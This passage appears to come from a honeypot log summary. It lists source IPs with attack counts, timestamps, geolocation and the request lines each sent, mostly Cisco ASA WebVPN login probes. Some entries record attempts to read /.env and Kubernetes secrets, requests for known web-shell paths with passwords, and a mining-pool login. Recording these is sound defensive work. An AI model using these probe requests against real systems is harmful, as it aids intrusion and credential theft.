        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.190.92": {
      "attack_count": 14,
      "first_seen": "2026-05-27T04:31:17.094Z",
      "last_seen": "2026-05-30T10:55:02.771Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.42.52": {
      "attack_count": 14,
      "first_seen": "2026-05-26T12:58:24.834Z",
      "last_seen": "2026-05-29T03:25:10.249Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "213.139.192.242": {
      "attack_count": 14,
      "first_seen": "2026-05-26T02:47:43.622Z",
      "last_seen": "2026-05-28T01:16:11.850Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.192.39.162": {
      "attack_count": 14,
      "first_seen": "2026-05-26T01:28:52.258Z",
      "last_seen": "2026-05-26T02:44:04.766Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "5.1.46.228": {
      "attack_count": 14,
      "first_seen": "2026-05-27T09:32:46.151Z",
      "last_seen": "2026-05-29T18:44:54.587Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Tonopah",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "143.244.47.80": {
      "attack_count": 12,
      "first_seen": "2026-05-08T17:18:07.111Z",
      "last_seen": "2026-05-20T04:48:03.287Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.165.93": {
      "attack_count": 12,
      "first_seen": "2026-05-04T18:12:24.716Z",
      "last_seen": "2026-05-05T14:17:01.694Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "152.32.189.128": {
      "attack_count": 12,
      "first_seen": "2026-05-30T07:00:02.192Z",
      "last_seen": "2026-05-30T07:00:09.808Z",
      "ports": [],
      "event_types": [
        "code 400",
        "\"\"id\":1",
        "\"\"params\": [\"miner1\"",
        "\"\"method\":\"login\""
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "173.249.253.213": {
      "attack_count": 12,
      "first_seen": "2026-05-09T11:29:25.856Z",
      "last_seen": "2026-05-20T09:24:35.358Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.253.86": {
      "attack_count": 12,
      "first_seen": "2026-05-02T05:56:47.569Z",
      "last_seen": "2026-05-26T13:08:57.866Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.162.8.102": {
      "attack_count": 12,
      "first_seen": "2026-05-14T03:54:49.609Z",
      "last_seen": "2026-05-21T00:51:53.098Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 25737,
      "as_org": "Jone Broadband LLC"
    },
    "23.234.102.80": {
      "attack_count": 12,
      "first_seen": "2026-05-20T20:49:38.147Z",
      "last_seen": "2026-05-31T01:49:01.273Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.195": {
      "attack_count": 12,
      "first_seen": "2026-05-02T01:28:00.803Z",
      "last_seen": "2026-05-16T07:56:41.196Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.73": {
      "attack_count": 12,
      "first_seen": "2026-05-05T15:59:25.698Z",
      "last_seen": "2026-05-30T15:18:25.711Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.186.177": {
      "attack_count": 12,
      "first_seen": "2026-05-04T20:43:09.787Z",
      "last_seen": "2026-05-05T20:48:26.097Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.109": {
      "attack_count": 12,
      "first_seen": "2026-05-18T07:00:29.117Z",
      "last_seen": "2026-05-24T03:57:37.442Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "158.46.178.19": {
      "attack_count": 11,
      "first_seen": "2026-05-30T13:26:57.578Z",
      "last_seen": "2026-05-30T15:40:20.697Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.251.26.80": {
      "attack_count": 9,
      "first_seen": "2026-05-07T07:37:07.714Z",
      "last_seen": "2026-05-22T13:00:17.633Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "104.36.50.47": {
      "attack_count": 9,
      "first_seen": "2026-05-03T16:07:09.307Z",
      "last_seen": "2026-05-10T07:23:32.955Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.111.192": {
      "attack_count": 9,
      "first_seen": "2026-05-06T03:29:09.116Z",
      "last_seen": "2026-05-07T04:03:13.955Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.24": {
      "attack_count": 9,
      "first_seen": "2026-05-20T09:06:45.422Z",
      "last_seen": "2026-05-30T06:24:59.506Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "192.42.116.51": {
      "attack_count": 8,
      "first_seen": "2026-05-24T01:19:29.085Z",
      "last_seen": "2026-05-24T01:19:42.038Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/modules/vmblast/config.php?cc HTTP/1.1\" 404 -",
        "\"GET /admin/modules/vmblast/index.php?qq HTTP/1.1\" 404 -",
        "\"GET /android.php?c HTTP/1.1\" 404 -",
        "\"GET /digium_phones/test.php?cc HTTP/1.1\" 404 -",
        "\"GET /freeppx/fx29.php? HTTP/1.1\" 404 -",
        "\"GET /login.php?z HTTP/1.1\" 404 -",
        "\"GET /mtm.php?c HTTP/1.1\" 404 -",
        "\"GET /test.php?x123x9 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "206.123.144.16": {
      "attack_count": 8,
      "first_seen": "2026-05-04T07:03:39.823Z",
      "last_seen": "2026-05-10T09:33:44.152Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 201813,
      "as_org": "Contrust Solutions S.R.L."
    },
    "138.249.170.9": {
      "attack_count": 7,
      "first_seen": "2026-05-30T08:11:56.818Z",
      "last_seen": "2026-05-30T08:12:09.436Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "141.133.7.20": {
      "attack_count": 7,
      "first_seen": "2026-05-27T09:52:35.667Z",
      "last_seen": "2026-05-27T09:52:49.530Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Catheys Valley",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.112.10": {
      "attack_count": 7,
      "first_seen": "2026-05-29T10:01:33.468Z",
      "last_seen": "2026-05-29T10:01:47.452Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "142.111.253.133": {
      "attack_count": 7,
      "first_seen": "2026-05-29T01:32:05.960Z",
      "last_seen": "2026-05-29T01:32:18.578Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "155.212.125.247": {
      "attack_count": 7,
      "first_seen": "2026-05-30T08:22:31.368Z",
      "last_seen": "2026-05-30T08:22:44.004Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Rockford",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "157.230.230.98": {
      "attack_count": 7,
      "first_seen": "2026-05-30T03:37:10.597Z",
      "last_seen": "2026-05-30T11:34:06.225Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /api/health HTTP/1.1\" 404 -",
        "\"GET /api/v1/configmaps HTTP/1.1\" 404 -",
        "\"GET /api/v1/pods?limit=50 HTTP/1.1\" 404 -",
        "\"GET /api/v1/secrets HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "166.1.253.224": {
      "attack_count": 7,
      "first_seen": "2026-05-30T03:40:12.680Z",
      "last_seen": "2026-05-30T03:40:27.911Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.130.216": {
      "attack_count": 7,
      "first_seen": "2026-05-31T01:23:14.758Z",
      "last_seen": "2026-05-31T01:23:32.515Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.189.184": {
      "attack_count": 7,
      "first_seen": "2026-05-29T18:16:08.274Z",
      "last_seen": "2026-05-29T18:16:22.517Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.53.87": {
      "attack_count": 7,
      "first_seen": "2026-05-27T19:50:15.537Z",
      "last_seen": "2026-05-27T19:50:28.250Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.121.77.129": {
      "attack_count": 7,
      "first_seen": "2026-05-26T16:20:46.115Z",
      "last_seen": "2026-05-26T16:20:59.580Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "176.100.146.178": {
      "attack_count": 7,
      "first_seen": "2026-05-29T10:12:18.489Z",
      "last_seen": "2026-05-29T10:12:31.106Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "186.243.142.52": {
      "attack_count": 7,
      "first_seen": "2026-05-29T01:59:30.475Z",
      "last_seen": "2026-05-29T01:59:42.930Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Winfield",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.144.20": {
      "attack_count": 7,
      "first_seen": "2026-05-26T09:18:28.958Z",
      "last_seen": "2026-05-26T09:18:41.969Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "East Moriches",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.246.60.18": {
      "attack_count": 7,
      "first_seen": "2026-05-27T05:36:50.457Z",
      "last_seen": "2026-05-27T05:37:01.790Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Au Sable Forks",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.58.177.9": {
      "attack_count": 7,
      "first_seen": "2026-05-27T08:33:34.683Z",
      "last_seen": "2026-05-27T08:33:48.270Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Tularosa",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "213.139.192.135": {
      "attack_count": 7,
      "first_seen": "2026-05-30T12:00:25.307Z",
      "last_seen": "2026-05-30T12:00:38.363Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "80.68.148.68": {
      "attack_count": 7,
      "first_seen": "2026-05-26T18:33:10.746Z",
      "last_seen": "2026-05-26T18:33:22.805Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chevy Chase",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.42.116.103": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:24:58.043Z",
      "last_seen": "2026-05-24T01:25:05.729Z",
      "ports": [],
      "event_types": [
        "\"GET /vtigercrm/phpversions.php?module=upload&11 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/xXx-ELMAYET-xXx.php?9 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/xXx-mat.php?7 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/z.php?23 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/z.php?pass=angel HTTP/1.1\" 404 -",
        "\"GET /x5.php?pass=angel HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.110.192": {
      "attack_count": 6,
      "first_seen": "2026-05-05T16:32:55.952Z",
      "last_seen": "2026-05-08T01:27:10.620Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.200": {
      "attack_count": 6,
      "first_seen": "2026-05-05T04:58:53.909Z",
      "last_seen": "2026-05-10T11:43:01.807Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.195.110": {
      "attack_count": 6,
      "first_seen": "2026-05-29T07:35:49.516Z",
      "last_seen": "2026-05-29T07:36:03.480Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "44.202.229.210": {
      "attack_count": 5,
      "first_seen": "2026-05-09T01:15:24.582Z",
      "last_seen": "2026-05-22T00:55:16.978Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "146.70.166.134": {
      "attack_count": 3,
      "first_seen": "2026-05-23T19:33:59.416Z",
      "last_seen": "2026-05-23T19:34:09.818Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "192.42.116.55": {
      "attack_count": 3,
      "first_seen": "2026-05-24T01:18:01.389Z",
      "last_seen": "2026-05-24T01:18:06.163Z",
      "ports": [],
      "event_types": [
        "\"POST /vtigercrm/phprint.php HTTP/1.1\" 200 -",
